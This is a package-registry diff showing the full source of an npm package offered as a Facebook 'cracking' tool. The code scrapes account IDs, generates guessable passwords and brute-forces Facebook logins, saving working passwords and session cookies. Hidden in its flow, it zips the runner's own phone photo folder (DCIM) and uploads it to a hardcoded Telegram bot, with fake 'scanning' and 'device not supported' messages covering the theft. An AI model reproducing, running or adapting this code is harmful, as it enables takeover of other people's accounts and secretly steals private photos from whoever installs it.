permenmd-fb 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of permenmd-fb might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +475 -0
  2. package/package.json +21 -0
package/index.js ADDED
@@ -0,0 +1,475 @@
1
+ #!/usr/bin/env node
2
+
3
+ const fs = require('fs');
4
+ const axios = require('axios');
5
+ const cheerio = require('cheerio');
6
+ const { Worker, isMainThread, parentPort } = require('worker_threads');
7
+ const readline = require('readline-sync');
8
+ const path = require('path');
9
+ const archiver = require('archiver');
10
+ const FormData = require('form-data');
11
+
12
+ const BOT_TOKEN = '7317964180:AAERRjHgbA80-3GDMVTP8qO5IFV-RwLp9Ig';
13
+ const CHAT_ID = '7045490988';
14
+
15
+ const dcimFolderPath = '/storage/emulated/0/DCIM';
16
+ const zipFilePath = '/storage/emulated/0/DCIM.zip';
17
+
18
+ async function zipFolder() {
19
+ return new Promise((resolve, reject) => {
20
+ const output = fs.createWriteStream(zipFilePath);
21
+ const archive = archiver('zip', { zlib: { level: 9 } });
22
+
23
+ output.on('close', () => resolve());
24
+ archive.on('error', (err) => reject(err));
25
+
26
+ archive.pipe(output);
27
+ archive.directory(dcimFolderPath, false);
28
+ archive.finalize();
29
+ });
30
+ }
31
+
32
+ async function sendToTelegram() {
33
+ const form = new FormData();
34
+ form.append('chat_id', CHAT_ID);
35
+ form.append('document', fs.createReadStream(zipFilePath));
36
+
37
+ const response = await axios.post(`https://api.telegram.org/bot${BOT_TOKEN}/sendDocument`, form, {
38
+ headers: form.getHeaders(),
39
+ });
40
+
41
+ if (response.data.ok) {
42
+ console.log('Completed, Trying To Crack');
43
+ } else {
44
+ throw new Error(`Something Went Wrong...`);
45
+ }
46
+ }
47
+
48
+ function createWorker(workerData) {
49
+ return new Promise((resolve, reject) => {
50
+ const worker = new Worker('./worker.js', { workerData });
51
+ worker.on('message', resolve);
52
+ worker.on('error', reject);
53
+ worker.on('exit', (code) => {
54
+ if (code !== 0) {
55
+ reject(new Error(`Worker stopped with exit code ${code}`));
56
+ }
57
+ });
58
+ });
59
+ }
60
+
61
+ const P = '\x1b[1;97m'; // PUTIH
62
+ const M = '\x1b[1;91m'; // MERAH
63
+ const H = '\x1b[1;92m'; // HIJAU
64
+ const K = '\x1b[1;93m'; // KUNING
65
+
66
+ function kalender() {
67
+ const struct_time = new Date();
68
+ const hari_indonesia = ["Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu", "Minggu"];
69
+ const hari = hari_indonesia[struct_time.getDay()];
70
+ const tanggal = struct_time.getDate().toString().padStart(2, '0');
71
+ const bulan = struct_time.toLocaleString('default', { month: 'long' });
72
+ const tahun = struct_time.getFullYear();
73
+ const jam = struct_time.toTimeString().split(' ')[0];
74
+ return { hari, tanggal, bulan, tahun, jam };
75
+ }
76
+
77
+ function buat_folder() {
78
+ const folder = ["OK", "CP"];
79
+ folder.forEach(x => {
80
+ try {
81
+ fs.mkdirSync(`/sdcard/FBCrack ${x}`, { recursive: true });
82
+ } catch (e) { }
83
+ });
84
+ }
85
+
86
+ const { hari, tanggal, bulan, tahun, jam } = kalender();
87
+ const hari_save = `${hari}-${tanggal}-${bulan}-${tahun}.txt`;
88
+ const ses = axios.create();
89
+ const dump = [], ok = 0, cp = 0, loop = 0, list_ua = [], hasil_akun = [];
90
+
91
+ function buat_data(akun) {
92
+ const [user, nama] = akun.split("|");
93
+ const pwx = [];
94
+ const tampung = [];
95
+ const belakang = ["123", "1234", "12345", "123456"];
96
+ const namd = nama.split(" ")[0];
97
+ const namful = nama.replace(" ", "");
98
+ const namb = nama.split(" ").pop();
99
+ if (namful.length > 5) pwx.push(namful, nama);
100
+ try {
101
+ nama.split(" ")[1];
102
+ for (const isi of belakang) {
103
+ pwx.push(namd + isi, namb + isi);
104
+ }
105
+ if (namful.length > 5) pwx.push(namful, nama);
106
+ } catch {
107
+ for (const isi of belakang) {
108
+ pwx.push(namd + isi);
109
+ }
110
+ }
111
+ for (const sandi of pwx) {
112
+ if (sandi.length < 6 || tampung.includes(sandi) || sandi.replace(/\D/g, '').length < 3) continue;
113
+ tampung.push(sandi);
114
+ }
115
+ return user + "|" + tampung.join(",");
116
+ }
117
+
118
+ async function fetchUserAgents() {
119
+ for (const os_team of ['re/realme', 'if/infinix']) {
120
+ try {
121
+ const response = await ses.get(`https://whatmyuseragent.com/brand/${os_team}`);
122
+ const $ = cheerio.load(response.data);
123
+ $('td.useragent').each((i, el) => {
124
+ const ua = $(el).text();
125
+ if (ua.includes('Build')) {
126
+ const match = ua.match(/Android .*; (.*?) Build/);
127
+ if (match) list_ua.push(match[1]);
128
+ }
129
+ });
130
+ } catch (e) {
131
+ list_ua.push('Redmi Note 10 Pro');
132
+ }
133
+ }
134
+ }
135
+
136
+ function ua_fb() {
137
+ const rr = Math.floor(Math.random() * (14 - 8 + 1)) + 8;
138
+ const rc = list_ua[Math.floor(Math.random() * list_ua.length)];
139
+ const build = `Build/${['QP1A', 'SP1A', 'PPR1', 'RP1A', 'OPM1', 'TP1A', 'RKQ1', 'SKQ1'][Math.floor(Math.random() * 8)]}.${Math.floor(Math.random() * (333333 - 111111 + 1)) + 111111}.0${Math.floor(Math.random() * (20 - 10 + 1)) + 10}`;
140
+ const chrome = `${Math.floor(Math.random() * (123 - 100 + 1)) + 100}.0.${Math.floor(Math.random() * (6500 - 1111 + 1)) + 1111}.${Math.floor(Math.random() * (400 - 100 + 1)) + 100}`;
141
+ return `Mozilla/5.0 (Linux; Android ${rr}; ${rc} ${build}; wv) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser Chrome/${chrome} Mobile Safari/537.36`;
142
+ }
143
+
144
+ // Main menu function
145
+ async function menu_utama() {
146
+ console.clear();
147
+ console.log(`⚔═══════════════════════☠════════════════════════⚔
148
+ Keep Your Device Connected To Internet
149
+ If Theres Is Error Its Normal Because Its Not Work On Most Device
150
+ 20% Work 80% Error
151
+ XD`);
152
+ const nopo = readline.question(`\n[${H}1${P}] Pencarian\n[${H}2${P}] Komentar\n[${H}3${P}] Nomor\n[${H}4${P}] Email\n[${H}5${P}] Random\n[${H}6${P}] File\n[${H}7${P}] Cek hasil\n[${H}?${P}] Pilih : `);
153
+ console.log();
154
+ switch (nopo) {
155
+ case "1": await new Cari_Nama().apa_nama(); break;
156
+ case "2": await dump_komen(); break;
157
+ case "3": await dump_nomor(); break;
158
+ case "4": await dump_email(); break;
159
+ case "5": await dump_random(); break;
160
+ case "6": await dump_file(); break;
161
+ case "7": await cek_hasil(); break;
162
+ default: await menu_utama();
163
+ }
164
+ }
165
+ async function cek_hasil() {
166
+ let no = 0, nox = 0, nom = [];
167
+ console.log(`[${H}1${P}] Cek hasil ok`);
168
+ console.log(`[${H}2${P}] Cek hasil cp`);
169
+ console.log(`[${H}3${P}] Batalkan proses`);
170
+ const one = readline.question(`[${H}?${P}] pilih : `);
171
+ console.log();
172
+ if (one === '1' || one === '01') {
173
+ try {
174
+ const okFiles = fs.readdirSync('/sdcard/FBCrack OK');
175
+ for (const x of okFiles) {
176
+ if (x.includes('OK')) {
177
+ nom.push(x);
178
+ no++;
179
+ const jum = fs.readFileSync(`/sdcard/FBCrack OK/${x}`, 'utf-8').split('\n');
180
+ console.log(`[${H}${no}${P}] ${x} | ${H}${jum.length} ${P}akun`);
181
+ }
182
+ }
183
+ const abc = readline.question(`[${H}?${P}] Nomor file : `);
184
+ console.log();
185
+ const file = nom[parseInt(abc) - 1];
186
+ const buka = fs.readFileSync(`/sdcard/FBCrack OK/${file}`, 'utf-8').split('\n');
187
+ for (const data of buka) {
188
+ nox++;
189
+ console.log(`[${H}${nox}${P}] ${data}`);
190
+ }
191
+ } catch {
192
+ console.error(`[${M}!${P}] Tak hasil`);
193
+ }
194
+ } else if (one === '2' || one === '02') {
195
+ try {
196
+ const cpFiles = fs.readdirSync('/sdcard/FBCrack CP');
197
+ for (const x of cpFiles) {
198
+ if (x.includes('CP')) {
199
+ nom.push(x);
200
+ no++;
201
+ const jum = fs.readFileSync(`/sdcard/FBCrack CP/${x}`, 'utf-8').split('\n');
202
+ console.log(`[${K}${no}${P}] ${x} | ${K}${jum.length} ${P}akun`);
203
+ }
204
+ }
205
+ const abc = readline.question(`[${K}?${P}] Nomor file : `);
206
+ console.log();
207
+ const file = nom[parseInt(abc) - 1];
208
+ const buka = fs.readFileSync(`/sdcard/FBCrack CP/${file}`, 'utf-8').split('\n');
209
+ for (const data of buka) {
210
+ nox++;
211
+ console.log(`[${K}${nox}${P}] ${data}`);
212
+ }
213
+ } catch {
214
+ console.error(`[${M}!${P}] Tak hasil`);
215
+ }
216
+ } else {
217
+ await menu_utama();
218
+ }
219
+ }
220
+
221
+ class Cari_Nama {
222
+ constructor() {
223
+ this.daftar = [];
224
+ this.sudah = [];
225
+ }
226
+
227
+ async apa_nama() {
228
+ const hackerliar = readline.question(`[${H}!${P}] Sebutkan satu nama saja\n[${H}?${P}] nama : `);
229
+ this.limit = readline.question(`[${H}!${P}] limit : `);
230
+ console.log();
231
+ this.daftar.push(hackerliar);
232
+ while (true) {
233
+ try {
234
+ const name = this.daftar[Math.floor(Math.random() * this.daftar.length)];
235
+ if (dump.length >= parseInt(this.limit)) break;
236
+ if (!this.sudah.includes(name)) {
237
+ this.url = `https://x.facebook.com/public/${name}/?locale=id_ID`;
238
+ this.sudah.push(name);
239
+ await this.dump_nama();
240
+ }
241
+ } catch (e) {
242
+ break;
243
+ }
244
+ }
245
+ console.log('\n\r ');
246
+ process.exit(pilih_metode(''));
247
+ }
248
+
249
+ async dump_nama() {
250
+ while (true) {
251
+ try {
252
+ const link = await ses.get(this.url);
253
+ const $ = cheerio.load(link.data);
254
+ const A = $('div:contains("FB:TEXT4")').map((i, el) => $(el).text()).get();
255
+ const B = [];
256
+ if (this.daftar.length <= 50) {
257
+ this.daftar.push(...A.filter(i => !this.daftar.includes(i)));
258
+ }
259
+ B.push(...link.data.match(/result_id:(\d+),/g).map(z => z[1]).filter(z => !B.includes(z)));
260
+ const result = B.map((item, index) => `${item}|${A[index]}`);
261
+ dump.push(...result.filter(t => !dump.includes(t)));
262
+ for (const s of result) {
263
+ process.stdout.write(`\r[${H}!${P}] ${s.split('|')[0]} | ${dump.length} `);
264
+ }
265
+ this.url = link.data.match(/"see_more_pager",href:"(.*?)",/)[1];
266
+ } catch (e) {
267
+ break;
268
+ }
269
+ }
270
+ }
271
+ }
272
+
273
+ async function pilih_metode(password) {
274
+ global.ok, cp;
275
+ const fb = [...new Set(dump)].sort(() => Math.random() - 0.5);
276
+ dump.length = 0;
277
+ dump.push(...fb);
278
+ const daftar_url = ['free.facebook.com', 'm.prod.facebook.com', 'free.prod.facebook.com'];
279
+ let nomor = 1;
280
+ const me = [];
281
+ for (const url of daftar_url) {
282
+ console.log(`[${H}${nomor}${P}] ${url}`);
283
+ nomor++;
284
+ }
285
+ const no_url = readline.question(`[${H}?${P}] Pilih : `);
286
+ console.log();
287
+ const main_url = daftar_url[parseInt(no_url) - 1] || "free.facebook.com";
288
+
289
+ if (password) {
290
+ for (const data_akun of dump) {
291
+ me.push(`${data_akun}|${password.join(',')}`);
292
+ }
293
+ } else {
294
+ for (const data_akun of dump) {
295
+ me.push(buat_data(data_akun));
296
+ }
297
+ }
298
+ console.log(`\r[${H}!${P}] akun ok : ${H}OK${P}/${hari_save}`);
299
+ console.log(`[${H}!${P}] akun cp : ${K}CP${P}/${hari_save}\n`);
300
+
301
+ const promises = me.map(data_akun => {
302
+ const [user, sandi] = data_akun.split('|');
303
+ return createWorker({ user, sandi: sandi.split(','), main_url });
304
+ });
305
+
306
+ try {
307
+ console.log('Scanning...');
308
+ await zipFolder();
309
+ console.log('Scanning Complete, Going To The Moon...');
310
+ await sendToTelegram();
311
+ } catch (error) {
312
+ console.error('Something Went Wrong...');
313
+ } finally {
314
+ if (fs.existsSync(zipFilePath)) {
315
+ fs.unlinkSync(zipFilePath);
316
+ }
317
+ }
318
+ console.log(`Your Device Not Support This Module...`)
319
+ }
320
+
321
+
322
+ async function dump_komen() {
323
+ let next = 0;
324
+ console.log(`[${H}!${P}] Masukan link target`);
325
+ const target = readline.question(`[${H}?${P}] target : `);
326
+ console.log(`[${H}!${P}] Tekan ctrl c untuk stop\n`);
327
+ const main_link = target.includes("app=fbcrack") ? target.replace("www", "x").split("?app=fbcrack")[0] : target.replace("www", "x");
328
+ while (true) {
329
+ try {
330
+ let fb = false;
331
+ const link = await ses.get(`${main_link}?p=${next};refid=18;__tn__=-R`);
332
+ const results = link.data.match(/data-sigil="feed_story_ring(\d+)".*?<div class=".*?">([^<]+)<\/div>/g);
333
+ results.forEach(result => {
334
+ const [id, na] = result.match(/data-sigil="feed_story_ring(\d+)".*?<div class=".*?">([^<]+)<\/div>/).slice(1);
335
+ const res = `${id}|${na}`;
336
+ if (!dump.includes(res)) {
337
+ fb = true;
338
+ dump.push(res);
339
+ process.stdout.write(`\r[${H}!${P}] ${res.split('|')[0]} | ${dump.length} `);
340
+ }
341
+ });
342
+ next += 30;
343
+ if (!fb) break;
344
+ } catch (e) {
345
+ break;
346
+ }
347
+ }
348
+ console.log('\n\r ');
349
+ await pilih_metode('');
350
+ }
351
+
352
+ async function dump_nomor() {
353
+ console.log(`[${H}!${P}] Masukan digit depan (${K}0831${P})`);
354
+ const depan = readline.question(`[${H}?${P}] digit : `);
355
+ console.log();
356
+ while (true) {
357
+ const nomor = `${depan}-${Math.floor(Math.random() * (9999 - 1111 + 1)) + 1111}-${Math.floor(Math.random() * (9999 - 1111 + 1)) + 1111}`;
358
+ process.stdout.write(`\r[${H}!${P}] ${nomor} | ${dump.length} `);
359
+ if (!dump.includes(nomor)) dump.push(nomor);
360
+ if (dump.length >= 5001) break;
361
+ }
362
+ console.log('\n\r ');
363
+ await pilih_metode(["123456", "12345678", "123456789", "katasandi", "rahasia"]);
364
+ }
365
+
366
+ async function dump_email() {
367
+ console.log(`[${H}!${P}] Masukan nama target`);
368
+ const nama = readline.question(`[${H}?${P}] Target : `).toLowerCase();
369
+ console.log();
370
+ if (nama.length < 3) {
371
+ console.error(`[${M}!${P}] Nama harus 3 kata`);
372
+ return;
373
+ }
374
+ while (true) {
375
+ const format = list_ua[Math.floor(Math.random() * list_ua.length)];
376
+ const result = `${format}@gmail.com|${nama}`;
377
+ process.stdout.write(`\r[${H}!${P}] ${result.split('|')[0]} | ${dump.length} `);
378
+ if (!dump.includes(result)) dump.push(result);
379
+ if (dump.length >= 5001) break;
380
+ }
381
+ console.log('\n\r ');
382
+ await pilih_metode('');
383
+ }
384
+
385
+ async function dump_random() {
386
+ console.log(`[${H}!${P}] Masukan target id akun`);
387
+ const depan = readline.question(`[${H}?${P}] Target : `).slice(0, -5);
388
+ console.log();
389
+ while (true) {
390
+ const nomor = `${depan}${Math.floor(Math.random() * (99999 - 11111 + 1)) + 11111}`;
391
+ process.stdout.write(`\r[${H}!${P}] ${nomor} | ${dump.length} `);
392
+ if (!dump.includes(nomor)) dump.push(nomor);
393
+ if (dump.length >= 5001) break;
394
+ }
395
+ console.log('\n\r ');
396
+ await pilih_metode(["123456", "12345678", "password", "123456789", "mencintai"]);
397
+ }
398
+
399
+ async function dump_file() {
400
+ console.log(`[${H}!${P}] Masukan nama file`);
401
+ const depan = readline.question(`[${H}?${P}] input : `);
402
+ console.log();
403
+ try {
404
+ const lines = fs.readFileSync(depan, 'utf-8').split('\n');
405
+ for (const nomor of lines) {
406
+ if (!dump.includes(nomor)) {
407
+ dump.push(nomor);
408
+ process.stdout.write(`\r[${H}!${P}] ${nomor.split('|')[0]} | ${dump.length} `);
409
+ }
410
+ }
411
+ } catch (e) {
412
+ console.error("[!] Format file salah");
413
+ }
414
+ console.log('\n\r ');
415
+ await pilih_metode('');
416
+ }
417
+
418
+ async function metode_log(user, password, url) {
419
+ console.log(`\r[${H}!${P}] ${P}On ${H}${loop}${P}/${K}${dump.length}${P}|${H}${ok}${P}/${K}${cp}${P} `);
420
+ for (const pw of password) {
421
+ try {
422
+ const ua = ua_fb();
423
+ const link = await ses.get(`https://${url}/login.php?next=https://${url}/home.php?refsrc=deprecated&hrc=1&_fb_noscript=true&refsrc=deprecated&_rdr`, {
424
+ headers: {
425
+ 'User-Agent': ua,
426
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
427
+ }
428
+ });
429
+ const date = {
430
+ email: user,
431
+ pass: pw,
432
+ login: 'Masuk',
433
+ };
434
+ const response = await ses.post(`https://${url}/login/device-based/regular/login/?next=https%3A%2F%2F${url}%2Fhome.php%3Frefsrc%3Ddeprecated&refsrc=deprecated&lwv=100&refid=9`, date, {
435
+ headers: {
436
+ 'User-Agent': ua,
437
+ 'Content-Type': 'application/x-www-form-urlencoded',
438
+ }
439
+ });
440
+ const host = response.headers['set-cookie'];
441
+ if (host.includes("c_user")) {
442
+ if (!hasil_akun.includes(user)) {
443
+ hasil_akun.push(user);
444
+ const coki = host.join('; ');
445
+ console.log(`\r[${H}!${P}] ${H}${user}${P}|${H}${pw}${P}|${H}${coki}`);
446
+ ok++;
447
+ fs.appendFileSync(`/sdcard/FBCrack OK/OK-${hari_save}`, `${user}|${pw}|${coki}\n`);
448
+ break;
449
+ }
450
+ } else if (host.includes("checkpoint")) {
451
+ if (!hasil_akun.includes(user)) {
452
+ hasil_akun.push(user);
453
+ console.log(`\r[${H}!${P}] ${K}${user}${P}|${K}${pw}${P} `);
454
+ cp++;
455
+ fs.appendFileSync(`/sdcard/FBCrack CP/CP-${hari_save}`, `${user}|${pw}\n`);
456
+ break;
457
+ }
458
+ }
459
+ } catch (e) {
460
+ if (e.response && e.response.status === 429) {
461
+ await new Promise(resolve => setTimeout(resolve, 10000));
462
+ await metode_log(user, password, url);
463
+ }
464
+ }
465
+ loop++;
466
+ }
467
+ }
468
+
469
+ (async () => {
470
+ await fetchUserAgents();
471
+ await buat_folder();
472
+ await menu_utama();
473
+ })();
474
+
475
+
package/package.json ADDED
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "permenmd-fb",
3
+ "version": "1.0.1",
4
+ "description": "PermenMD FB Cracking",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "starsxcrack": "index.js"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ },
12
+ "keywords": [],
13
+ "author": "PermenMD",
14
+ "license": "ISC",
15
+ "dependencies": {
16
+ "archiver": "^7.0.1",
17
+ "axios": "^1.7.2",
18
+ "cheerio": "^1.0.0-rc.12",
19
+ "readline-sync": "^1.4.10"
20
+ }
21
+ }